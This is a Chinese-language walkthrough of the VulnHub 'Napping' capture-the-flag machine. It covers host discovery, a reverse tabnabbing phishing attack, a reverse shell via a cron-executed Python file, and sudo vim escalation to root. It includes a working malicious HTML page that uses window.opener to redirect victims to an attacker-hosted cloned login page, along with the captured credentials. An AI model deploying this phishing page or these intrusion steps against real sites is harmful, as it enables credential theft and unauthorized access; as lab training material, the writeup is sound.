一、概要
靶机vitrual box打开,攻击机在vmware打开的,使用的桥接模式
靶机:192.168.1.105
攻击机:192.168.1.106
靶机下载地址:https://download.vulnhub.com/napping/napping-1.0.1.ova
二、主机发现
arp-scan
sudo arp-scan -l
netdiscover
sudo netdiscover
三、信息收集
只开放了22和80端口
访问80端口
注册一个用户登录进来
输入一个网址,点击Here就会跳转到目标网址
四、漏洞利用
reverse tabnabbing
这种情况会造成tabnabbing漏洞
大概原理就是,最初的页面A,有一个reverse tabnabbing漏洞(反向标签劫持攻击),钓鱼攻击的一种,可以造成页面跳转
最初的页面A中植入一个a标签,其超链接指向的是我们事先准备好的页面B,页面B中有一段JS代码:window.opener.location="C页面链接"
这样导致用户点击的是B页面的链接,但是却跳转到了C页面
使用条件:
1、页面存在XSS漏洞,可以执行用户输入的JS脚本
2、用户可以使用a标签(超链接)
3、a标签的target=_blank
4、没有使用rel=noopener/noreferrer属性
先把登录页面down下来
接下来制作一个恶意页面shell.html放到/var/www/html
<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) window.opener.parent.location.replace('http://192.168.1.106:8888/index.html');
if(window.opener != window) window.opener.parent.location.replace('http://192.168.1.106:8888/index.html');
</script>
</body>
</html>
用python启一个80端口的http服务
访问一下攻击机中构造好的恶意页面文件
攻击机这边会返回一个数据包
数据包中携带了用户数据,一对用户名和密码
这里需要注意一下,返回的数据包需要进行一下URL解码
username=daniel
password=C@ughtm3napping123
五、ssh登录
用上面得到的账号密码登录一下ssh
登陆成功
查看一下用户所属的组为administrator
查找一下这个组有权限运行的程序
find / -group administrators 2>/dev/null
看一下这个目录下的执行日志,大概就是两分钟执行一次
查看一下py文件的内容
大概内容就是只要本地web服务可以正常访问,就每隔两分钟向日志文件中写入当前时间
六、反弹shell
这样的话,借助这个py文件,我们可以尝试向攻击机反弹shell
首先,创建一个反弹shell的sh文件,这里需要注意路径需要在当前用户目录下,否则没有权限创建文件
修改一下py执行文件的内容,使其执行编辑好的反弹shell的脚本
等待一会儿后会有一个shell反弹过来,同时查看一下权限
七、vim提权
发现vim命令是可以免密码执行root权限的
直接利用vim写入shell
拿到root权限并在/root目录下拿到flag